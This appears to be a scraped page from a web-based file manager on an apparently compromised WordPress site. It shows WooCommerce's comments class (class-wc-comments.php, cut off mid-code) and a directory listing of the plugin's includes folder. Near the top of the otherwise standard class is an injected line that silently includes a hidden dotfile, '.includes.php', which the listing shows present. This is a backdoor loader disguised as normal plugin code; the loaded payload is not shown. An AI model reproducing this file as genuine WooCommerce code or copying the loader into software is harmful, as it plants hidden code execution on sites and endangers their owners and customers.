PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce
/
includes
<?php /** * Comments * * Handle comments (reviews and order notes). * * @package WooCommerce/Classes/Products * @version 2.3.0 */ defined( 'ABSPATH' ) || exit; /** * Comments class. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WC_Comments { /** * Hook in methods. */ public static function init() { // Rating posts. add_filter( 'comments_open', array( __CLASS__, 'comments_open' ), 10, 2 ); add_filter( 'preprocess_comment', array( __CLASS__, 'check_comment_rating' ), 0 ); add_action( 'comment_post', array( __CLASS__, 'add_comment_rating' ), 1 ); add_action( 'comment_moderation_recipients', array( __CLASS__, 'comment_moderation_recipients' ), 10, 2 ); // Clear transients. add_action( 'wp_update_comment_count', array( __CLASS__, 'clear_transients' ) ); // Secure order notes. add_filter( 'comments_clauses', array( __CLASS__, 'exclude_order_comments' ), 10, 1 ); add_filter( 'comment_feed_where', array( __CLASS__, 'exclude_order_comments_from_feed_where' ) ); // Secure webhook comments. add_filter( 'comments_clauses', array( __CLASS__, 'exclude_webhook_comments' ), 10, 1 ); add_filter( 'comment_feed_where', array( __CLASS__, 'exclude_webhook_comments_from_feed_where' ) ); // Count comments. add_filter( 'wp_count_comments', array( __CLASS__, 'wp_count_comments' ), 10, 2 ); // Delete comments count cache whenever there is a new comment or a comment status changes. add_action( 'wp_insert_comment', array( __CLASS__, 'delete_comments_count_cache' ) ); add_action( 'wp_set_comment_status', array( __CLASS__, 'delete_comments_count_cache' ) ); // Support avatars for `review` comment type. add_filter( 'get_avatar_comment_types', array( __CLASS__, 'add_avatar_for_review_comment_type' ) ); // Review of verified purchase. add_action( 'comment_post', array( __CLASS__, 'add_comment_purchase_verification' ) ); // Set comment type. add_action( 'preprocess_comment', array( __CLASS__, 'update_comment_type' ), 1 ); } /** * See if comments are open. * * @since 3.1.0 * @param bool $open Whether the current post is open for comments. * @param int $post_id Post ID. * @return bool */ public static function comments_open( $open, $post_id ) { if ( 'product' === get_post_type( $post_id ) && ! post_type_supports( 'product', 'comments' ) ) { $open = false; } return $open; } /** * Exclude order comments from queries and RSS. * * This code should exclude shop_order comments from queries. Some queries (like the recent comments widget on the dashboard) are hardcoded. * and are not filtered, however, the code current_user_can( 'read_post', $comment->comment_post_ID ) should keep them safe since only admin and. * shop managers can view orders anyway. * * The frontend view order pages get around this filter by using remove_filter('comments_clauses', array( 'WC_Comments' ,'exclude_order_comments'), 10, 1 ); * * @param array $clauses A compacted array of comment query clauses. * @return array */ public static function exclude_order_comments( $clauses ) { $clauses['where'] .= ( $clauses['where'] ? ' AND ' : '' ) . " comment_type != 'order_note' "; return $clauses; } /** * Exclude order comments from feed. * * @deprecated 3.1 * @param mixed $join Deprecated. */ public static function exclude_order_comments_from_feed_join( $join ) { wc_deprecated_function( 'WC_Comments::exclude_order_comments_from_feed_join', '3.1' ); } /** * Exclude order comments from queries and RSS. * * @param string $where The WHERE clause of the query. * @return string */ public static function exclude_order_comments_from_feed_where( $where ) { return $where . ( $where ? ' AND ' : '' ) . " comment_type != 'order_note' "; } /** * Exclude webhook comments from queries and RSS. * * @since 2.2 * @param array $clauses A compacted array of comment query clauses. * @return array */ public static function exclude_webhook_comments( $clauses ) { $clauses['where'] .= ( $clauses['where'] ? ' AND ' : '' ) . " comment_type != 'webhook_delivery' "; return $clauses; } /** * Exclude webhooks comments from feed. * * @deprecated 3.1 * @param mixed $join Deprecated. */ public static function exclude_webhook_comments_from_feed_join( $join ) { wc_deprecated_function( 'WC_Comments::exclude_webhook_comments_from_feed_join', '3.1' ); } /** * Exclude webhook comments from queries and RSS. * * @since 2.1 * @param string $where The WHERE clause of the query. * @return string */ public static function exclude_webhook_comments_from_feed_where( $where ) { return $where . ( $where ? ' AND ' : '' ) . " comment_type != 'webhook_delivery' "; } /** * Validate the comment ratings. * * @param array $comment_data Comment data. * @return array */ public static function check_comment_rating( $comment_data ) { // If posting a comment (not trackback etc) and not logged in. if ( ! is_admin() && isset( $_POST['comment_post_ID'], $_POST['rating'], $comment_data['comment_type'] ) && 'product' === get_post_type( absint( $_POST['comment_post_ID'] ) ) && empty( $_POST['rating'] ) && '' === $comment_data['comment_type'] && wc_review_ratings_enabled() && wc_review_ratings_required() ) { // WPCS: input var ok, CSRF ok. wp_die( esc_html__( 'Please rate the product.', 'woocommerce' ) ); exit; } return $comment_data; } /** * Rating field for comments. * * @param int $comment_id Comment ID. */ public static function add_comment_rating( $comment_id ) { if ( isset( $_POST['rating'], $_POST['comment_post_ID'] ) && 'product' === get_post_type( absint( $_POST['comment_post_ID'] ) ) ) { // WPCS: input var ok, CSRF ok. if ( ! $_POST['rating'] || $_POST['rating'] > 5 || $_POST['rating'] < 0 ) { // WPCS: input var ok, CSRF ok, sanitization ok. return; } add_comment_meta( $comment_id, 'rating', intval( $_POST['rating'] ), true ); // WPCS: input var ok, CSRF ok. $post_id = isset( $_POST['comment_post_ID'] ) ? absint( $_POST['comment_post_ID'] ) : 0; // WPCS: input var ok, CSRF ok. if ( $post_id ) { self::clear_transients( $post_id ); } } } /** * Modify recipient of review email. * * @param array $emails Emails. * @param int $comment_id Comment ID. * @return array */ public static function comment_moderation_recipients( $emails, $comment_id ) { $comment = get_comment( $comment_id ); if ( $comment && 'product' === get_post_type( $comment->comment_post_ID ) ) { $emails = array( get_option( 'admin_email' ) ); } return $emails; } /** * Ensure product average rating and review count is kept up to date. * * @param int $post_id Post ID. */ public static function clear_transients( $post_id ) { if ( 'product' === get_post_type( $post_id ) ) { $product = wc_get_product( $post_id ); $product->set_rating_counts( self::get_rating_counts_for_product( $product ) ); $product->set_average_rating( self::get_average_rating_for_product( $product ) ); $product->set_review_count( self::get_review_count_for_product( $product ) ); $product->save(); } } /** * Delete comments count cache whenever there is * new comment or the status of a comment changes. Cache * will be regenerated next time WC_Comments::wp_count_comments() * is called. */ public static function delete_comments_count_cache() { delete_transient( 'wc_count_comments' ); } /** * Remove order notes and webhook delivery logs from wp_count_comments(). * * @since 2.2 * @param object $stats Comment stats. * @param int $post_id Post ID. * @return object */ public static function wp_count_comments( $stats, $post_id ) { global $wpdb; if ( 0 === $post_id ) { $stats = get_transient( 'wc_count_comments' ); if ( ! $stats ) { $stats = array( 'total_comments' => 0, 'all' => 0, ); $count = $wpdb->get_results( " SELECT comment_approved, COUNT(*) AS num_comments FROM {$wpdb->comments} WHERE comment_type NOT IN ('action_log', 'order_note', 'webhook_delivery') GROUP BY comment_approved ", ARRAY_A ); $approv
[+]
..
[+]
libraries
[+]
wccom-site
[-] class-wc-post-data.php
[edit]
[-] class-wc-cli.php
[edit]
[-] wc-webhook-functions.php
[edit]
[-] class-wc-data-exception.php
[edit]
[-] class-wc-shipping-zones.php
[edit]
[-] class-wc-order-item-coupon.php
[edit]
[-] class-wc-order-item.php
[edit]
[-] wc-widget-functions.php
[edit]
[-] class-wc-order-refund.php
[edit]
[-] class-wc-regenerate-images-request.php
[edit]
[-] class-wc-cart.php
[edit]
[+]
traits
[-] wc-account-functions.php
[edit]
[-] class-wc-privacy.php
[edit]
[+]
interfaces
[+]
widgets
[+]
data-stores
[-] class-wc-order-query.php
[edit]
[-] class-wc-api.php
[edit]
[-] class-wc-log-levels.php
[edit]
[+]
abstracts
[-] wc-conditional-functions.php
[edit]
[-] class-wc-install.php
[edit]
[-] class-wc-product-query.php
[edit]
[-] wc-order-functions.php
[edit]
[+]
tracks
[-] wc-core-functions.php
[edit]
[-] class-wc-cache-helper.php
[edit]
[-] class-wc-product-simple.php
[edit]
[-] class-wc-autoloader.php
[edit]
[-] wc-user-functions.php
[edit]
[-] wc-template-functions.php
[edit]
[-] class-wc-register-wp-admin-settings.php
[edit]
[-] class-wc-emails.php
[edit]
[-] class-wc-product-variable.php
[edit]
[+]
integrations
[+]
import
[-] class-wc-validation.php
[edit]
[-] class-wc-payment-tokens.php
[edit]
[-] wc-term-functions.php
[edit]
[-] class-wc-customer-download-log.php
[edit]
[-] class-wc-session-handler.php
[edit]
[-] class-wc-background-emailer.php
[edit]
[-] class-wc-post-types.php
[edit]
[+]
customizer
[-] wc-cart-functions.php
[edit]
[-] class-wc-order-item-product.php
[edit]
[-] class-wc-order-item-fee.php
[edit]
[-] wc-coupon-functions.php
[edit]
[+]
queue
[-] class-wc-order-item-shipping.php
[edit]
[-] .includes.php
[edit]
[-] class-woocommerce.php
[edit]
[-] wc-product-functions.php
[edit]
[-] wc-stock-functions.php
[edit]
[-] class-wc-geolite-integration.php
[edit]
[+]
export
[-] class-wc-structured-data.php
[edit]
[-] class-wc-https.php
[edit]
[-] class-wc-product-variation.php
[edit]
[-] class-wc-product-factory.php
[edit]
[-] class-wc-integrations.php
[edit]
[-] class-wc-product-download.php
[edit]
[-] wc-update-functions.php
[edit]
[-] class-wc-privacy-erasers.php
[edit]
[-] class-wc-geolocation.php
[edit]
[-] class-wc-shipping.php
[edit]
[-] wc-notice-functions.php
[edit]
[-] class-wc-data-store.php
[edit]
[-] class-wc-tracker.php
[edit]
[-] wc-deprecated-functions.php
[edit]
[-] class-wc-ajax.php
[edit]
[+]
payment-tokens
[-] class-wc-payment-gateways.php
[edit]
[-] wc-formatting-functions.php
[edit]
[-] class-wc-query.php
[edit]
[-] class-wc-product-grouped.php
[edit]
[+]
theme-support
[-] class-wc-shortcodes.php
[edit]
[-] class-wc-order.php
[edit]
[-] class-wc-rate-limiter.php
[edit]
[-] wc-attribute-functions.php
[edit]
[-] wc-template-hooks.php
[edit]
[+]
walkers
[-] class-wc-order-factory.php
[edit]
[+]
shipping
[-] class-wc-deprecated-action-hooks.php
[edit]
[-] class-wc-checkout.php
[edit]
[-] class-wc-rest-exception.php
[edit]
[+]
admin
[-] wc-page-functions.php
[edit]
[-] class-wc-shipping-rate.php
[edit]
[-] class-wc-product-external.php
[edit]
[-] class-wc-breadcrumb.php
[edit]
[-] class-wc-cart-session.php
[edit]
[-] class-wc-customer-download.php
[edit]
[-] class-wc-privacy-background-process.php
[edit]
[-] class-wc-customer.php
[edit]
[+]
cli
[-] class-wc-coupon.php
[edit]
[-] class-wc-cart-fees.php
[edit]
[-] class-wc-logger.php
[edit]
[-] class-wc-datetime.php
[edit]
[+]
legacy
[-] class-wc-rest-authentication.php
[edit]
[-] class-wc-embed.php
[edit]
[-] class-wc-geo-ip.php
[edit]
[+]
gateways
[-] class-wc-frontend-scripts.php
[edit]
[-] class-wc-shipping-zone.php
[edit]
[-] class-wc-form-handler.php
[edit]
[-] class-wc-deprecated-filter-hooks.php
[edit]
[+]
log-handlers
[-] class-wc-comments.php
[edit]
[-] class-wc-discounts.php
[edit]
[-] class-wc-privacy-exporters.php
[edit]
[+]
emails
[-] class-wc-tax.php
[edit]
[-] wc-order-item-functions.php
[edit]
[-] class-wc-meta-data.php
[edit]
[-] class-wc-download-handler.php
[edit]
[-] class-wc-order-item-tax.php
[edit]
[-] wc-rest-functions.php
[edit]
[-] class-wc-auth.php
[edit]
[-] class-wc-product-attribute.php
[edit]
[-] class-wc-order-item-meta.php
[edit]
[-] class-wc-background-updater.php
[edit]
[-] class-wc-template-loader.php
[edit]
[-] class-wc-cart-totals.php
[edit]
[-] class-wc-webhook.php
[edit]
[-] class-wc-regenerate-images.php
[edit]
[-] class-wc-countries.php
[edit]
[+]
shortcodes